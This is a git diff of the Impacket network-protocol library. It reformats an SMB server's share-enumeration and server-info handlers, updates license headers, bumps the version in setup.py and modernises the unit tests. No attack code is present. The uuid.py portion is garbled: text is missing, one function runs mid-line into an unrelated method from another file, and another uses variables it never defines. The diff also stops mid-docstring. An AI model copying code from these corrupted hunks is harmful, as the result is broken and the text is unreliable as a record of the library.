self.log("NetrServerGetInfo Level: %d" % request['Level']) - answer = NetrServerGetInfoResponse() - answer['InfoStruct']['tag'] = 101 - # PLATFORM_ID_NT = 500 - answer['InfoStruct']['ServerInfo101']['sv101_platform_id'] = 500 - answer['InfoStruct']['ServerInfo101']['sv101_name'] = request['ServerName'] - # Windows 7 = 6.1 - answer['InfoStruct']['ServerInfo101']['sv101_version_major'] = 6 - answer['InfoStruct']['ServerInfo101']['sv101_version_minor'] = 1 - # Workstation = 1 - answer['InfoStruct']['ServerInfo101']['sv101_type'] = 1 - answer['InfoStruct']['ServerInfo101']['sv101_comment'] = NULL - answer['ErrorCode'] = 0 - return answer + if configFile is not None: + self.__serverConfig = configparser.ConfigParser() + self.__serverConfig.read(configFile) + sections = self.__serverConfig.sections() + # Let's check the log file + self.__logFile = self.__serverConfig.get('global', 'log_file') + if self.__logFile != 'None': + logging.basicConfig(filename=self.__logFile, + level=logging.DEBUG, + format="%(asctime)s: %(levelname)s: %(message)s", + datefmt='%m/%d/%Y %I:%M:%S %p') + + # Remove the global one + del (sections[sections.index('global')]) + self._shares = {} + for i in sections: + self._shares[i] = dict(self.__serverConfig.items(i)) + + def NetrShareGetInfo(self, data): + request = NetrShareGetInfo(data) + self.log("NetrGetShareInfo Level: %d" % request['Level']) + + s = request['NetName'][:-1].upper() + answer = NetrShareGetInfoResponse() + if s in self._shares: + share = self._shares[s] + + answer['InfoStruct']['tag'] = 1 + answer['InfoStruct']['ShareInfo1']['shi1_netname'] = s + '\x00' + answer['InfoStruct']['ShareInfo1']['shi1_type'] = share['share type'] + answer['InfoStruct']['ShareInfo1']['shi1_remark'] = share['comment'] + '\x00' + answer['ErrorCode'] = 0 + else: + answer['InfoStruct']['tag'] = 1 + answer['InfoStruct']['ShareInfo1'] = NULL + answer['ErrorCode'] = 0x0906 # WERR_NET_NAME_NOT_FOUND + + return answer + + def NetrServerGetInfo(self, data): + request = NetrServerGetInfo(data) + self.log("NetrServerGetInfo Level: %d" % request['Level']) + answer = NetrServerGetInfoResponse() + answer['InfoStruct']['tag'] = 101 + # PLATFORM_ID_NT = 500 + answer['InfoStruct']['ServerInfo101']['sv101_platform_id'] = 500 + answer['InfoStruct']['ServerInfo101']['sv101_name'] = request['ServerName'] + # Windows 7 = 6.1 + answer['InfoStruct']['ServerInfo101']['sv101_version_major'] = 6 + answer['InfoStruct']['ServerInfo101']['sv101_version_minor'] = 1 + # Workstation = 1 + answer['InfoStruct']['ServerInfo101']['sv101_type'] = 1 + answer['InfoStruct']['ServerInfo101']['sv101_comment'] = NULL + answer['ErrorCode'] = 0 + return answer def NetrShareEnum(self, data): - request = NetrShareEnum(data) - self.log("NetrShareEnum Level: %d" % request['InfoStruct']['Level']) - shareEnum = NetrShareEnumResponse() - shareEnum['InfoStruct']['Level'] = 1 - shareEnum['InfoStruct']['ShareInfo']['tag'] = 1 - shareEnum['TotalEntries'] = len(self._shares) - shareEnum['InfoStruct']['ShareInfo']['Level1']['EntriesRead'] = len(self._shares) - shareEnum['ErrorCode'] = 0 - - for i in self._shares: - shareInfo = SHARE_INFO_1() - shareInfo['shi1_netname'] = i+'\x00' - shareInfo['shi1_type'] = self._shares[i]['share type'] - shareInfo['shi1_remark'] = self._shares[i]['comment']+'\x00' - shareEnum['InfoStruct']['ShareInfo']['Level1']['Buffer'].append(shareInfo) - - return shareEnum + request = NetrShareEnum(data) + self.log("NetrShareEnum Level: %d" % request['InfoStruct']['Level']) + shareEnum = NetrShareEnumResponse() + shareEnum['InfoStruct']['Level'] = 1 + shareEnum['InfoStruct']['ShareInfo']['tag'] = 1 + shareEnum['TotalEntries'] = len(self._shares) + shareEnum['InfoStruct']['ShareInfo']['Level1']['EntriesRead'] = len(self._shares) + shareEnum['ErrorCode'] = 0 + + for i in self._shares: + shareInfo = SHARE_INFO_1() + shareInfo['shi1_netname'] = i + '\x00' + shareInfo['shi1_type'] = self._shares[i]['share type'] + shareInfo['shi1_remark'] = self._shares[i]['comment'] + '\x00' + shareEnum['InfoStruct']['ShareInfo']['Level1']['Buffer'].append(shareInfo) + + return shareEnum + class SimpleSMBServer: """ @@ -4592,50 +4807,56 @@ class SimpleSMBServer: :param integer listenPort: the port number you want the server to listen on :param string configFile: a file with all the servers' configuration. If no file specified, this class will create the basic parameters needed to run. You will need to add your shares manually tho. See addShare() method """ - def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): + + def __init__(self, listenAddress='0.0.0.0', listenPort=445, configFile=''): if configFile != '': - self.__server = SMBSERVER((listenAddress,listenPort)) + self.__server = SMBSERVER((listenAddress, listenPort)) self.__server.processConfigFile(configFile) self.__smbConfig = None else: # Here we write a mini config for the server self.__smbConfig = configparser.ConfigParser() self.__smbConfig.add_section('global') - self.__smbConfig.set('global','server_name',''.join([random.choice(string.ascii_letters) for _ in range(8)])) - self.__smbConfig.set('global','server_os',''.join([random.choice(string.ascii_letters) for _ in range(8)]) -) - self.__smbConfig.set('global','server_domain',''.join([random.choice(string.ascii_letters) for _ in range(8)]) -) - self.__smbConfig.set('global','log_file','None') - self.__smbConfig.set('global','rpc_apis','yes') - self.__smbConfig.set('global','credentials_file','') - self.__smbConfig.set('global', 'challenge', "A"*16) + self.__smbConfig.set('global', 'server_name', + ''.join([random.choice(string.ascii_letters) for _ in range(8)])) + self.__smbConfig.set('global', 'server_os', ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + ) + self.__smbConfig.set('global', 'server_domain', + ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + ) + self.__smbConfig.set('global', 'log_file', 'None') + self.__smbConfig.set('global', 'rpc_apis', 'yes') + self.__smbConfig.set('global', 'credentials_file', '') + self.__smbConfig.set('global', 'challenge', "A" * 16) # IPC always needed self.__smbConfig.add_section('IPC$') - self.__smbConfig.set('IPC$','comment','') - self.__smbConfig.set('IPC$','read only','yes') - self.__smbConfig.set('IPC$','share type','3') - self.__smbConfig.set('IPC$','path','') - self.__server = SMBSERVER((listenAddress,listenPort), config_parser = self.__smbConfig) + self.__smbConfig.set('IPC$', 'comment', '') + self.__smbConfig.set('IPC$', 'read only', 'yes') + self.__smbConfig.set('IPC$', 'share type', '3') + self.__smbConfig.set('IPC$', 'path', '') + self.__server = SMBSERVER((listenAddress, listenPort), config_parser=self.__smbConfig) self.__server.processConfigFile() - # Now we have to register the MS-SRVS server. This specially important for - # Windows 7+ and Mavericks clients since they WON'T (specially OSX) + # Now we have to register the MS-SRVS server. This specially important for + # Windows 7+ and Mavericks clients since they WON'T (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.__wkstServer = WKSTServer() self.__wkstServer.daemon = True - self.__server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) - self.__server.registerNamedPipe('wkssvc',('127.0.0.1',self.__wkstServer.getListenPort())) + self.__server.registerNamedPipe('srvsvc', ('127.0.0.1', self.__srvsServer.getListenPort())) + self.__server.registerNamedPipe('wkssvc', ('127.0.0.1', self.__wkstServer.getListenPort())) def start(self): self.__srvsServer.start() self.__wkstServer.start() self.__server.serve_forever() + def stop(self): + self.__server.server_close() + def registerNamedPipe(self, pipeName, address): return self.__server.registerNamedPipe(pipeName, address) @@ -4645,7 +4866,7 @@ def unregisterNamedPipe(self, pipeName): def getRegisteredNamedPipes(self): return self.__server.getRegisteredNamedPipes() - def addShare(self, shareName, sharePath, shareComment='', shareType = '0', readOnly = 'no'): + def addShare(self, shareName, sharePath, shareComment='', shareType='0', readOnly='no'): share = shareName.upper() self.__smbConfig.add_section(share) self.__smbConfig.set(share, 'comment', shareComment) @@ -4669,14 +4890,14 @@ def setSMBChallenge(self, challenge): self.__smbConfig.set('global', 'challenge', challenge) self.__server.setServerConfig(self.__smbConfig) self.__server.processConfigFile() - + def setLogFile(self, logFile): - self.__smbConfig.set('global','log_file',logFile) + self.__smbConfig.set('global', 'log_file', logFile) self.__server.setServerConfig(self.__smbConfig) self.__server.processConfigFile() def setCredentialsFile(self, logFile): - self.__smbConfig.set('global','credentials_file',logFile) + self.__smbConfig.set('global', 'credentials_file', logFile) self.__server.setServerConfig(self.__smbConfig) self.__server.processConfigFile() diff --git a/impacket/spnego.py b/impacket/spnego.py index e8d58e57c0..b814c6a851 100644 --- a/impacket/spnego.py +++ b/impacket/spnego.py @@ -1,14 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (beto@coresecurity.com) -# # Description: # SPNEGO functions used by SMB, SMB2/3 and DCERPC # +# Author: +# Alberto Solino (@agsolino) +# + from __future__ import division from __future__ import print_function from struct import pack, unpack, calcsize diff --git a/impacket/structure.py b/impacket/structure.py index 38619c447e..92ae31ba72 100644 --- a/impacket/structure.py +++ b/impacket/structure.py @@ -1,9 +1,12 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # + from __future__ import division from __future__ import print_function from struct import pack, unpack, calcsize diff --git a/impacket/system_errors.py b/impacket/system_errors.py index 707f55379a..d779553460 100644 --- a/impacket/system_errors.py +++ b/impacket/system_errors.py @@ -1,14 +1,17 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # SYSTEM Errors from [MS-ERREF]. Ideally all the files -# should grab the error codes from here +# should grab the error codes from here +# +# Author: +# Alberto Solino (@agsolino) # ERROR_MESSAGES = { diff --git a/impacket/tds.py b/impacket/tds.py index a24333d407..6803bba820 100644 --- a/impacket/tds.py +++ b/impacket/tds.py @@ -1,21 +1,24 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: [MS-TDS] & [MC-SQLR] implementation. -# -# ToDo: -# [ ] Add all the tokens left -# [ ] parseRow should be rewritten and add support for all the SQL types in a -# good way. Right now it just supports a few types. -# [ ] printRows is crappy, just an easy way to print the rows. It should be -# rewritten to output like a normal SQL client +# Description: +# [MS-TDS] & [MC-SQLR] implementation. # # Author: # Alberto Solino (@agsolino) # +# ToDo: +# [ ] Add all the tokens left +# [ ] parseRow should be rewritten and add support for all the SQL types in a +# good way. Right now it just supports a few types. +# [ ] printRows is crappy, just an easy way to print the rows. It should be +# rewritten to output like a normal SQL client +# from __future__ import division from __future__ import print_function diff --git a/impacket/uuid.py b/impacket/uuid.py index 2aa33109b3..fcf3dfeccc 100644 --- a/impacket/uuid.py +++ b/impacket/uuid.py @@ -1,6 +1,8 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # @@ -11,6 +13,7 @@ # Author: # Javier Kohen (jkohen) # + from __future__ import absolute_import from __future__ import print_function import re @@ -21,16 +24,19 @@ EMPTY_UUID = b'\x00'*16 + def generate(): # UHm... crappy Python has an maximum integer of 2**31-1. top = (1<<31)-1 return pack("IIII", randrange(top), randrange(top), randrange(top), randrange(top)) + def bin_to_string(uuid): uuid1, uuid2, uuid3 = unpack('HHL', uuid[8:16]) return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) + def string_to_bin(uuid): # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is if '-' not in uuid: @@ -38,42 +44,52 @@ def string_to_bin(uuid): # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID # The first three components of the UUID are little-endian, and the last two are big-endian - matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid) + matches = re.match(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})", + uuid) (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()] uuid = pack('HHL', uuid4, uuid5, uuid6) return uuid + def stringver_to_bin(s): - (maj,min) = s.split('.') - return pack('H",n)) def ary2n(self, ary, i=0): - return struct.unpack(">H", ary[i:i+2].tostring())[0] + return struct.unpack(">H", array_tobytes(ary[i:i+2]))[0] def __repr__(self): def desc(kind): diff --git a/requirements-test.txt b/requirements-test.txt new file mode 100644 index 0000000000..daca5529fe --- /dev/null +++ b/requirements-test.txt @@ -0,0 +1,2 @@ +pytest==4.6 +pytest-cov \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 433e73874c..fd8459bb80 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,6 @@ future six +chardet pyasn1>=0.2.3 pycryptodomex pyOpenSSL>=0.16.2 diff --git a/setup.py b/setup.py index 6587803b5f..de6fe7be59 100644 --- a/setup.py +++ b/setup.py @@ -1,5 +1,15 @@ #!/usr/bin/env python -# $Id$ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Setup file +# import glob import os @@ -12,7 +22,7 @@ VER_MAJOR = 0 VER_MINOR = 9 -VER_MAINT = 22 +VER_MAINT = 24 VER_PREREL = "" try: if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0: @@ -40,29 +50,28 @@ def read(fname): return open(os.path.join(os.path.dirname(__file__), fname)).read() setup(name = PACKAGE_NAME, - version="{}.{}.{}".format (VER_MAJOR, VER_MINOR, VER_MAINT), + version = "{}.{}.{}".format(VER_MAJOR, VER_MINOR, VER_MAINT), description = "Network protocols Constructors and Dissectors", url = "https://www.secureauth.com/labs/open-source-tools/impacket", author = "SecureAuth Corporation", author_email = "oss@secureauth.com", - maintainer = "Alberto Solino", - maintainer_email = "bethus@gmail.com", + maintainer = "SecureAuth's Innovation Labs ", + maintainer_email = "oss@secureauth.com", license = "Apache modified", long_description = read('README.md'), long_description_content_type="text/markdown", platforms = ["Unix","Windows"], packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom', - 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', - 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', - 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils', - 'impacket.examples.ntlmrelayx.attacks'], + 'impacket.krb5', 'impacket.ldap'], scripts = glob.glob(os.path.join('examples', '*.py')), data_files = data_files, - install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', 'ldapdomaindump>=0.9.0', 'flask>=1.0'], + install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.16.2', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', + 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'chardet'], extras_require={ 'pyreadline:sys_platform=="win32"': [], }, classifiers = [ + "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.6", diff --git a/tests/ImpactPacket/__init__.py b/tests/ImpactPacket/__init__.py index 2ae28399f5..c25d10173f 100644 --- a/tests/ImpactPacket/__init__.py +++ b/tests/ImpactPacket/__init__.py @@ -1 +1,9 @@ -pass +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# diff --git a/tests/ImpactPacket/runalltestcases.bat b/tests/ImpactPacket/runalltestcases.bat deleted file mode 100644 index 98397c8a23..0000000000 --- a/tests/ImpactPacket/runalltestcases.bat +++ /dev/null @@ -1,2 +0,0 @@ - -FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G \ No newline at end of file diff --git a/tests/ImpactPacket/runalltestcases.sh b/tests/ImpactPacket/runalltestcases.sh deleted file mode 100755 index 103d5c0ab9..0000000000 --- a/tests/ImpactPacket/runalltestcases.sh +++ /dev/null @@ -1,44 +0,0 @@ -#!/bin/bash -separator='======================================================================' - -export PYTHONPATH=../..:$PYTHONPATH - -if [ $# -gt 0 ] -then - # Only run coverage when called by tox - RUN="python -m coverage run --append --rcfile=../coveragerc " -else - RUN=python -fi - -total=0 -ok=0 -failed=0 -for file in `ls *.py` ; do - echo $separator - echo Executing $RUN $file - latest=$( - $RUN $file 2>&1 | { - while read line; do - echo " $line" 1>&2 - latest="$line" - done - echo $latest - } - ) - #echo Latest ${latest} - result=${latest:0:6} - if [ "$result" = "FAILED" ] - then - (( failed++ )) - elif [ "$result" = "OK" ] - then - (( ok++ )) - fi - - (( total++ )) -done -echo $separator -echo Summary: -echo " OK $ok/$total" -echo " $failed FAILED" diff --git a/tests/ImpactPacket/test_ICMP6.py b/tests/ImpactPacket/test_ICMP6.py index c8850556fa..7d6fac0f47 100644 --- a/tests/ImpactPacket/test_ICMP6.py +++ b/tests/ImpactPacket/test_ICMP6.py @@ -1,19 +1,15 @@ #!/usr/bin/env python -#Impact test version -try: - from impacket import IP6_Address, IP6, ImpactDecoder, ICMP6 -except: - pass - -#Standalone test version -try: - import sys - sys.path.insert(0,"../..") - import IP6_Address, IP6, ImpactDecoder, ICMP6 -except: - pass - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket import IP6, ImpactDecoder, ICMP6 + class TestICMP6(unittest.TestCase): @@ -79,7 +75,7 @@ def compare_icmp6_packet_with_reference_buffer(self, icmp6_packet, reference_buf icmp6_payload_buffer = icmp6_packet.child().get_bytes().tolist() generated_buffer = icmp6_header_buffer + icmp6_payload_buffer - self.assertEquals(generated_buffer, reference_buffer, test_fail_message) + self.assertEqual(generated_buffer, reference_buffer, test_fail_message) def generate_icmp6_constructed_packets(self): packet_list = [] @@ -157,20 +153,20 @@ def test_message_decoding(self): for i in range (0, len(self.reference_data_list)): p = d.decode(self.reference_data_list[i]) - self.assertEquals(p.get_type(), msg_types[i], self.message_description_list[i] + " - Msg type mismatch") - self.assertEquals(p.get_code(), msg_codes[i], self.message_description_list[i] + " - Msg code mismatch") + self.assertEqual(p.get_type(), msg_types[i], self.message_description_list[i] + " - Msg type mismatch") + self.assertEqual(p.get_code(), msg_codes[i], self.message_description_list[i] + " - Msg code mismatch") if i in range(0, 2): - self.assertEquals(p.get_echo_id(), 1, self.message_description_list[i] + " - ID mismatch") - self.assertEquals(p.get_echo_sequence_number(), 2, self.message_description_list[i] + " - Sequence number mismatch") - self.assertEquals(p.get_echo_arbitrary_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + " - Arbitrary data mismatch") + self.assertEqual(p.get_echo_id(), 1, self.message_description_list[i] + " - ID mismatch") + self.assertEqual(p.get_echo_sequence_number(), 2, self.message_description_list[i] + " - Sequence number mismatch") + self.assertEqual(p.get_echo_arbitrary_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + " - Arbitrary data mismatch") if i in range(2, 5): - self.assertEquals(p.get_parm_problem_pointer(), 2, self.message_description_list[i] + " - Pointer mismatch") + self.assertEqual(p.get_parm_problem_pointer(), 2, self.message_description_list[i] + " - Pointer mismatch") if i in range(5, 15): - self.assertEquals(p.get_originating_packet_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + " - Originating packet data mismatch") + self.assertEqual(p.get_originating_packet_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + " - Originating packet data mismatch") if i in range(14, 15): - self.assertEquals(p.get_mtu(), 1300, self.message_description_list[i] + " - MTU mismatch") + self.assertEqual(p.get_mtu(), 1300, self.message_description_list[i] + " - MTU mismatch") -suite = unittest.TestLoader().loadTestsFromTestCase(TestICMP6) -unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/ImpactPacket/test_IP6.py b/tests/ImpactPacket/test_IP6.py index f5990afeaa..9f3ada1a5e 100644 --- a/tests/ImpactPacket/test_IP6.py +++ b/tests/ImpactPacket/test_IP6.py @@ -1,20 +1,15 @@ #!/usr/bin/env python - -#Impact test version -try: - from impacket import IP6_Address, IP6, ImpactDecoder -except: - pass - -#Standalone test version -try: - import sys - sys.path.insert(0,"../..") - import IP6_Address, IP6, ImpactDecoder -except: - pass - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket import IP6, ImpactDecoder + class TestIP6(unittest.TestCase): @@ -51,14 +46,14 @@ def test_decoding(self): source_address = parsed_packet.get_ip_src() destination_address = parsed_packet.get_ip_dst() - self.assertEquals(protocol_version, 6, "IP6 parsing - Incorrect protocol version") - self.assertEquals(traffic_class, 72, "IP6 parsing - Incorrect traffic class") - self.assertEquals(flow_label, 148997, "IP6 parsing - Incorrect flow label") - self.assertEquals(payload_length, 1500, "IP6 parsing - Incorrect payload length") - self.assertEquals(next_header, 17, "IP6 parsing - Incorrect next header") - self.assertEquals(hop_limit, 1, "IP6 parsing - Incorrect hop limit") - self.assertEquals(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address") - self.assertEquals(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address") + self.assertEqual(protocol_version, 6, "IP6 parsing - Incorrect protocol version") + self.assertEqual(traffic_class, 72, "IP6 parsing - Incorrect traffic class") + self.assertEqual(flow_label, 148997, "IP6 parsing - Incorrect flow label") + self.assertEqual(payload_length, 1500, "IP6 parsing - Incorrect payload length") + self.assertEqual(next_header, 17, "IP6 parsing - Incorrect next header") + self.assertEqual(hop_limit, 1, "IP6 parsing - Incorrect hop limit") + self.assertEqual(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address") + self.assertEqual(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address") def test_creation(self): '''Test IP6 Packet creation.''' @@ -72,8 +67,8 @@ def test_creation(self): crafted_packet.set_ip_src("FE80::78F8:89D1:30FF:256B") crafted_packet.set_ip_dst("FF02::1:3") crafted_buffer = crafted_packet.get_bytes().tolist() - self.assertEquals(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch") + self.assertEqual(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch") -suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6) -unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/ImpactPacket/test_IP6_Address.py b/tests/ImpactPacket/test_IP6_Address.py index 1cf3b0c5e7..219e80e244 100644 --- a/tests/ImpactPacket/test_IP6_Address.py +++ b/tests/ImpactPacket/test_IP6_Address.py @@ -1,93 +1,103 @@ #!/usr/bin/env python - -#Impact test version -try: - from impacket import IP6_Address -except: - pass - -#Standalone test version -try: - import sys - sys.path.insert(0,"../..") - import IP6_Address -except: - pass - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket import IP6_Address + class TestIP6_Address(unittest.TestCase): - + def runTest(self): pass - + def test_construction(self): - '''Test IP6 Address construction''' + """Test IP6 Address construction""" normal_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD" normal_binary_address = [0xFE, 0x80, 0x12, 0x34, - 0x56, 0x78, 0xAB, 0xCD, - 0xEF, 0x01, 0x23, 0x45, - 0x67, 0x89, 0xAB, 0xCD] - + 0x56, 0x78, 0xAB, 0xCD, + 0xEF, 0x01, 0x23, 0x45, + 0x67, 0x89, 0xAB, 0xCD] + oversized_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD:1234" oversized_binary_address = [0xFE, 0x80, 0x12, 0x34, - 0x56, 0x78, 0xAB, 0xCD, - 0xEF, 0x01, 0x23, 0x45, - 0x67, 0x89, 0xAB, 0xCD, 0x00] - + 0x56, 0x78, 0xAB, 0xCD, + 0xEF, 0x01, 0x23, 0x45, + 0x67, 0x89, 0xAB, 0xCD, 0x00] + subsized_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789" subsized_binary_address = [0xFE, 0x80, 0x12, 0x34, - 0x56, 0x78, 0xAB, 0xCD, - 0xEF, 0x01, 0x23, 0x45, - 0x67, 0x89, 0xAB] - + 0x56, 0x78, 0xAB, 0xCD, + 0xEF, 0x01, 0x23, 0x45, + 0x67, 0x89, 0xAB] + malformed_text_address_1 = "FE80:123456788:ABCD:EF01:2345:6789:ABCD" malformed_text_address_2 = "ZXYW:1234:5678:ABCD:EF01:2345:6789:ABCD" malformed_text_address_3 = "FFFFFF:1234:5678:ABCD:EF01:2345:67:ABCD" empty_text_address = "" empty_binary_address = [] - self.assert_(IP6_Address.IP6_Address(normal_text_address), "IP6 address construction with normal text address failed") - self.assert_(IP6_Address.IP6_Address(normal_binary_address), "IP6 address construction with normal binary address failed") - - self.assertRaises(Exception, IP6_Address.IP6_Address, oversized_text_address)#, "IP6 address construction with oversized text address incorrectly succeeded") - self.assertRaises(Exception, IP6_Address.IP6_Address, oversized_binary_address)#, "IP6 address construction with oversized binary address incorrectly succeeded") - self.assertRaises(Exception, IP6_Address.IP6_Address, subsized_text_address)#, "IP6 address construction with subsized text address incorrectly succeeded") - self.assertRaises(Exception, IP6_Address.IP6_Address, subsized_binary_address)#, "IP6 address construction with subsized binary address incorrectly succeeded") - self.assertRaises(Exception, IP6_Address.IP6_Address, malformed_text_address_1)#, "IP6 address construction with malformed text address (#1) incorrectly succeeded") - self.assertRaises(Exception, IP6_Address.IP6_Address, malformed_text_address_2)#, "IP6 address construction with malformed text address (#2) incorrectly succeeded") - self.assertRaises(Exception, IP6_Address.IP6_Address, malformed_text_address_3)#, "IP6 address construction with malformed text address (#3) incorrectly succeeded") - self.assertRaises(Exception, IP6_Address.IP6_Address, empty_text_address)#, "IP6 address construction with empty text address incorrectly succeeded") - self.assertRaises(Exception, IP6_Address.IP6_Address, empty_binary_address)#, "IP6 address construction with empty binary address incorrectly succeeded") - + self.assertTrue(IP6_Address.IP6_Address(normal_text_address), + "IP6 address construction with normal text address failed") + self.assertTrue(IP6_Address.IP6_Address(normal_binary_address), + "IP6 address construction with normal binary address failed") + + self.assertRaises(Exception, IP6_Address.IP6_Address, + oversized_text_address) # , "IP6 address construction with oversized text address incorrectly succeeded") + self.assertRaises(Exception, IP6_Address.IP6_Address, + oversized_binary_address) # , "IP6 address construction with oversized binary address incorrectly succeeded") + self.assertRaises(Exception, IP6_Address.IP6_Address, + subsized_text_address) # , "IP6 address construction with subsized text address incorrectly succeeded") + self.assertRaises(Exception, IP6_Address.IP6_Address, + subsized_binary_address) # , "IP6 address construction with subsized binary address incorrectly succeeded") + self.assertRaises(Exception, IP6_Address.IP6_Address, + malformed_text_address_1) # , "IP6 address construction with malformed text address (#1) incorrectly succeeded") + self.assertRaises(Exception, IP6_Address.IP6_Address, + malformed_text_address_2) # , "IP6 address construction with malformed text address (#2) incorrectly succeeded") + self.assertRaises(Exception, IP6_Address.IP6_Address, + malformed_text_address_3) # , "IP6 address construction with malformed text address (#3) incorrectly succeeded") + self.assertRaises(Exception, IP6_Address.IP6_Address, + empty_text_address) # , "IP6 address construction with empty text address incorrectly succeeded") + self.assertRaises(Exception, IP6_Address.IP6_Address, + empty_binary_address) # , "IP6 address construction with empty binary address incorrectly succeeded") + def test_unicode_representation(self): - '''Test IP6 Unicode text representations''' + """Test IP6 Unicode text representations""" unicode_normal_text_address = u'FE80:1234:5678:ABCD:EF01:2345:6789:ABCD' - self.assert_(IP6_Address.IP6_Address(unicode_normal_text_address), "IP6 address construction with UNICODE normal text address failed") + self.assertTrue(IP6_Address.IP6_Address(unicode_normal_text_address), + "IP6 address construction with UNICODE normal text address failed") - def test_conversions(self): - '''Test IP6 Address conversions.''' + """Test IP6 